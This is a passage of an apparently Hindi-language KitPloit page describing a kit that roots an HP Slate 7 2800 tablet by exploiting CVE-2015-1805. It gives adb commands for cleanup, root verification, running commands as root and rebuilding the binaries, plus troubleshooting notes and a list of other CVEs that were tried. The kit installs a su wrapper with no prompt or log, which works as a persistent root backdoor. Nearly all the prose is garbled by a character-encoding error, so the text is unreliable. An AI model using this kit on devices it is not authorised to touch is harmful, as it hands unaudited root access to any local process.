рдЗрд╕рдХреЗ рдмрд╛рдж, рдХреЗрд╡рд▓ рдЕрд╕реНрдерд╛рдпреА рд╕реНрдЯреЗрдЬрд┐рдВрдЧ рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣рдЯрд╛рдПрдБред рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ `/system/xbin/su` рдирд╣реАрдВ рд╣рдЯрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

root@kitploit:~
    
    
    adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
    

рдХрд┐рдЯ `/data/local.prop` рдирд╣реАрдВ рдмрдирд╛рддрд╛ рд╣реИ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд░рд┐рдмреВрдЯ рдХрд░реЗрдВ рдФрд░ рдлрд┐рд░ рд╕реНрдерд╛рдпреА рд░реВрдЯ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ:

root@kitploit:~
    
    
    adb reboot
    adb wait-for-device
    adb shell getprop sys.boot_completed
    adb shell '/system/xbin/su -c id'
    

рд╕рддреНрдпрд╛рдкрд┐рдд рдЯреИрдмрд▓реЗрдЯ рдиреЗ рд░рд┐рдмреВрдЯ рдХреЗ рдмрд╛рдж рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрд░рд┐рдгрд╛рдо рджрд┐рдпрд╛:

root@kitploit:~
    
    
    uid=0(root) gid=0(root) ...
    

рдЗрдВрд╕реНрдЯреЙрд▓ рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЯреИрдмрд▓реЗрдЯ рд╕реЗ рд╡рд╛рдкрд╕ рдЦреАрдВрдЪрд╛ рдЧрдпрд╛ рдФрд░ рд╡рд╣ `bin/hp-slate7-su` рд╕реЗ рдмрд╛рдЗрдЯ-рджрд░-рдмрд╛рдЗрдЯ рдореЗрд▓ рдЦрд╛рддреА рдереА:

root@kitploit:~
    
    
    40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
    

## рд░реВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

рдПрдХрд▓ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП:

root@kitploit:~
    
    
    adb shell '/system/xbin/su -c id'
    adb shell '/system/xbin/su -c "ls -la /data"'
    

`hp-slate7-su` рдЬрд╛рдирдмреВрдЭрдХрд░ рдПрдХ рдиреНрдпреВрдирддрдо рд░реИрдкрд░ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреЛрдИ Android рдРрдк, рдкреБрд╖реНрдЯрд┐рдХрд░рдг рдкреНрд░реЙрдореНрдкреНрдЯ, рдбреЗрдореЙрди рдпрд╛ рдЕрдиреБрдорддрд┐ рд▓реЙрдЧ рдирд╣реАрдВ рд╣реИред `/system/xbin/su` рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдХреЛрдИ рднреА рд╕реНрдерд╛рдиреАрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд░реВрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреА рд╣реИред рд░реВрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдЗрд╕ рдЕрдкреНрд░рдЪрд▓рд┐рдд рдЯреИрдмрд▓реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЗ рд▓рд┐рдП рди рдХрд░реЗрдВ, рдФрд░ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп APK рдЗрдВрд╕реНрдЯреЙрд▓ рди рдХрд░реЗрдВред

## рд╕реНрд░реЛрдд рд╕реЗ рдкреБрдирд░реНрдирд┐рд░реНрдорд╛рдг

рдкреЛрд░реНрдЯреЗрдмрд▓ Zig 0.15.2 рдХрд╛ рдкрде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ, рдпрд╛ `zig` рдХреЛ `PATH` рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ:

root@kitploit:~
    
    
    ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
    

рдЖрдЙрдЯрдкреБрдЯ `build/` рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛рдПрдЧрд╛:

root@kitploit:~
    
    
    build/hp-slate7-cve-2015-1805-root
    build/hp-slate7-install-root
    build/hp-slate7-su
    

рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    file build/hp-slate7-*
    

рддреАрдиреЛрдВ рдлрд╝рд╛рдЗрд▓реЗрдВ 32-рдмрд┐рдЯ ARM EABI5 ELF рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред рд╕рддреНрдпрд╛рдкрд┐рдд Zig 0.15.2 рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рд╛рде, рдЗрдВрд╕реНрдЯреЙрд▓рд░ рдФрд░ `su` рдмрд╛рдЗрдЯ-рджрд░-рдмрд╛рдЗрдЯ `bin/` рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рдорд╛рди рдкреБрдирд░реНрдирд┐рд░реНрдорд┐рдд рд╣реЛрддреЗ рд╣реИрдВред DWARF рдФрд░ рд▓рд┐рдВрдХрд░ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдореЗрдВ рдкреВрд░реНрдг рдкрдереЛрдВ рдХреЗ рдХрд╛рд░рдг рд╢реЛрд╖рдг рд╣реИрд╢ рднрд┐рдиреНрди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ; рдЗрд╕рдХрд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЫрд╣-рдирд┐рд░реНрджреЗрд╢ рдЯреНрд░реИрдореНрдкреЛрд▓рд┐рди рд╕рддреНрдпрд╛рдкрди рдмрд┐рд▓реНрдб рдореЗрдВ рдмрд╛рдЗрдЯ-рджрд░-рдмрд╛рдЗрдЯ рд╕рдорд╛рди рдерд╛ред рдПрдХ рдкреБрдирд░реНрдирд┐рд░реНрдорд╛рдг `bin/` рдореЗрдВ рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдЪреЗрдХрд╕рдо рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЯреИрдмрд▓реЗрдЯ рдкрд░ рдЪрд▓рд╛рдИ рдЧрдИ рдереАрдВред

## рд╕рдорд╕реНрдпрд╛ рдирд┐рд╡рд╛рд░рдг

### `unauthorized`

рд╕реНрдХреНрд░реАрди рдЕрдирд▓реЙрдХ рдХрд░реЗрдВ рдФрд░ USB рдбрд┐рдмрдЧрд┐рдВрдЧ RSA рдХреБрдВрдЬреА рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВред рдпрджрд┐ рдкреНрд░реЙрдореНрдкреНрдЯ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ, рддреЛ рдХреЗрдмрд▓ рдХреЛ рдкреБрдирдГ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ рдФрд░ `adb devices -l` рджреЛрдмрд╛рд░рд╛ рдЪрд▓рд╛рдПрдБред

### `offline` рдпрд╛ рдбрд┐рд╡рд╛рдЗрд╕ рдЧрд╛рдпрдм рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ

рдХреБрдЫ рд╕реЗрдХрдВрдб рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ рдФрд░ `adb wait-for-device` рдЪрд▓рд╛рдПрдБред рдпрджрд┐ рдЯреИрдмрд▓реЗрдЯ рдмрдВрдж рд╣реЛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ Power рдмрдЯрди рд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдЪрд╛рд▓реВ рдХрд░реЗрдВред рд╢реЛрд╖рдг рдХрд╛ рджреВрд╕рд░рд╛ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдПрдХ рд╕рд╛рде рди рдЪрд▓рд╛рдПрдБред

### рд╢реЛрд╖рдг рдиреЗ `[+] Done` рдкреНрд░рд┐рдВрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛

CVE рдХрд╛ рд╢реЛрд╖рдг рдПрдХ рд░реЗрд╕ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╕реИрджреНрдзрд╛рдВрддрд┐рдХ рд░реВрдк рд╕реЗ рд╡рд┐рдлрд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдПрдХрд▓ рдкреБрдирдГ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЯреИрдмрд▓реЗрдЯ рдХреЛ рд░рд┐рдмреВрдЯ рдХрд░реЗрдВред рдмрд╛рдЗрдирд░реА рдХреЛ рд▓реВрдк рдореЗрдВ рди рдЪрд▓рд╛рдПрдБ: рдПрдХ рдЕрд╕рдлрд▓ рд░реЗрд╕ рдХрд░реНрдиреЗрд▓ рдХреЛ рдХреНрд░реИрд╢ рдХрд░ рд╕рдХрддреА рд╣реИред

### `su` рдореМрдЬреВрдж рд╣реИ, рд▓реЗрдХрд┐рди рдХрдорд╛рдВрдб рдХреЛрдб 127 рдХреЗ рд╕рд╛рде рдмрд╛рд╣рд░ рдирд┐рдХрд▓рддрд╛ рд╣реИ

рдлрд╝рд╛рдЗрд▓ рдХреЗ SHA-256 рд╣реИрд╢ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВред рдПрдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╢реЛрдз рд░реИрдкрд░ рдиреЗ ARM рдкрд░ `argv` рдХреЛ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рд╕рдВрднрд╛рд▓рд╛ рдФрд░ рдХреЛрдб 127 рдХреЗ рд╕рд╛рде рдмрд╛рд╣рд░ рдирд┐рдХрд▓рд╛ред рдЗрд╕ рд░рд┐рдкреЙрдЬрд╝рд┐рдЯрд░реА рдореЗрдВ SHA-256 `40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e` рдХреЗ рд╕рд╛рде рд╕рд╣реА рдХрд┐рдпрд╛ рдЧрдпрд╛ 656-рдмрд╛рдЗрдЯ рд╕рдВрд╕реНрдХрд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИред

### HP рд▓реЛрдЧреЛ рд╕реНрдХреНрд░реАрди рдкрд░ рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди ADB рдкрд╣рд▓реЗ рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реИ

Android рдХреА рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕реНрдерд┐рддрд┐ рдЬрд╛рдБрдЪреЗрдВ:

root@kitploit:~
    
    
    adb shell getprop sys.boot_completed
    adb shell dumpsys window windows
    

`sys.boot_completed=1` рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ Android рдмреВрдЯ рд╣реЛ рдЪреБрдХрд╛ рд╣реИ, рднрд▓реЗ рд╣реА рднреМрддрд┐рдХ рдбрд┐рд╕реНрдкреНрд▓реЗ рдЕрднреА рднреА рдПрдХ рдкреБрд░рд╛рдирд╛ рдлреНрд░реЗрдо рджрд┐рдЦрд╛ рд░рд╣рд╛ рд╣реЛред

## рдХреНрдпрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рдФрд░ рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛

рдЕрдиреНрдп рдкреНрд░рд╕рд┐рджреНрдз рджреГрд╖реНрдЯрд┐рдХреЛрдгреЛрдВ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдЦрд╛рд░рд┐рдЬ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдпрд╛ рдЗрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдЕрдиреБрдкрдпреБрдХреНрдд рдкрд╛рдпрд╛ рдЧрдпрд╛: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW рдФрд░ PingPongRootред Towelroot/CVE-2014-3153 рдиреЗ рдЗрд╕ рдХрд░реНрдиреЗрд▓ рдХреЛ рдХреНрд░реИрд╢ рдХрд░ рджрд┐рдпрд╛ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред CVE-2014-7951 рдиреЗ ADB рд░реАрд╕реНрдЯреЛрд░ рдкрде рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдЦрдирд╛ рд╕рдВрднрд╡ рдмрдирд╛рдпрд╛, рд▓реЗрдХрд┐рди HP рдлрд░реНрдорд╡реЗрдпрд░ рдиреЗ `/data/local.prop` рд▓реЛрдб рдирд╣реАрдВ рдХрд┐рдпрд╛, рдЗрд╕рд▓рд┐рдП рдЗрд╕ рд╡рд┐рдзрд┐ рдиреЗ рд░реВрдЯ рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд┐рдпрд╛ред

рдмреВрдЯрд▓реЛрдбрд░ рдПрдХ рдкреБрд░рд╛рдиреЗ Rockchip рд▓реЛрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдорд╛рдирдХ fastboot рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдХрдЯ рдирд╣реАрдВ рд╣реБрдЖред рдЗрд╕ рдкрд░рд┐рдгрд╛рдо рдХреЗ рд▓рд┐рдП рд░рд┐рдХрд╡рд░реА рдлреНрд▓реИрд╢ рдХрд░рдирд╛ рдпрд╛ рдмреВрдЯрд▓реЛрдбрд░ рдЕрдирд▓реЙрдХ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рдерд╛ред

## рдЙрддреНрдкрддреНрддрд┐ рдФрд░ рд▓рд╛рдЗрд╕реЗрдВрд╕

рд╢реЛрд╖рдг рдХреЛрдб `mobilelinux/iovy_root_research`, рдХрдорд┐рдЯ `f945796` рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ, рдЬреЛ рдмрджрд▓реЗ рдореЗрдВ `dosomder/iovyroot` рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИред рдбрд┐рд╡рд╛рдЗрд╕-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдореЗрдВ рдереНрд░реЗрдб рдЧрдгрдирд╛ рдХрдо рдХрд░рдирд╛, рдЯрд╛рдЗрдордЖрдЙрдЯ рдареАрдХ рдХрд░рдирд╛, рдиреЗрдХреЗрдб ARM рдЯреНрд░реИрдореНрдкреЛрд▓рд┐рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛, syscall рддрд╛рд▓рд┐рдХрд╛ рдХреЛ рдЬрд▓реНрджреА рдмрд╣рд╛рд▓ рдХрд░рдирд╛, `cred` рдХреЛ рдорд╛рдиреНрдп рдХрд░рдирд╛ рдФрд░ рдЕрдиреБрдкрдпреБрдХреНрдд SELinux рд╢рд╛рдЦрд╛ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред

рдореВрд▓ рд╕реВрдЪрдирд╛рдПрдБ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХреА рдЧрдИ рд╣реИрдВред рд░рд┐рдкреЙрдЬрд╝рд┐рдЯрд░реА GPL-3.0 рдХреЗ рддрд╣рдд рд╡рд┐рддрд░рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ; `LICENSE` рдФрд░ `NOTICE` рджреЗрдЦреЗрдВред

## рдЕрд╕реНрд╡реАрдХрд░рдг

рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рдХрд╛ рд╢реЛрд╖рдг рд╣рдореЗрд╢рд╛ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рд░рд┐рдмреВрдЯ рдХрд░рдиреЗ, рд╕рд┐рд╕реНрдЯрдо рдХреЛ рджреВрд╖рд┐рдд рдХрд░рдиреЗ рдпрд╛ рдбреЗрдЯрд╛ рдЦреЛрдиреЗ рдХрд╛ рдЬреЛрдЦрд┐рдо рд╡рд╣рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдХрд┐рдЯ рдХреЗрд╡рд▓ рдЙрд╕ HP Slate 7 2800 рдХреЗ рд▓рд┐рдП рд╣реИ рдЬреЛ рдЖрдкрдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдореЗрдВ рд╣реИ рдФрд░ рдЬрд┐рд╕рдХрд╛ рдлрд░реНрдорд╡реЗрдпрд░ рдмрд┐рд▓реНрдХреБрд▓ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред рдХрд┐рд╕реА рднреА рдорд╣рддреНрд╡рдкреВрд░реНрдг рдбреЗрдЯрд╛ рдХрд╛ рдмреИрдХрдЕрдк рд▓реЗрдВ, рдФрд░ рдЗрд╕реЗ рдЕрдиреНрдп рд▓реЛрдЧреЛрдВ рдХреЗ рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдкрд░ рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВред

* * *

рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдФрд░ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг Daybreak Blue рд╕рд╛рдЗрдмрд░рд╕реБрд░рдХреНрд╖рд╛ рдПрдХреНрд╕реЗрд╕ рдХреЗ рд╕рд╛рде GPT-5.6 Sol рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд OpenAI Codex рдХреА рд╕рд╣рд╛рдпрддрд╛ рд╕реЗ рдкреВрд░рд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ред

* * *

рд░рд┐рдкреЙрдЬрд╝рд┐рдЯрд░реА рд╕реНрдерд╛рди: рдХреИрдирдирд┐рдХрд▓ рд╕реНрд░реЛрдд ┬╖ github ┬╖ рдХреЗрд╡рд▓-рдкрдардиреАрдп рдорд┐рд░рд░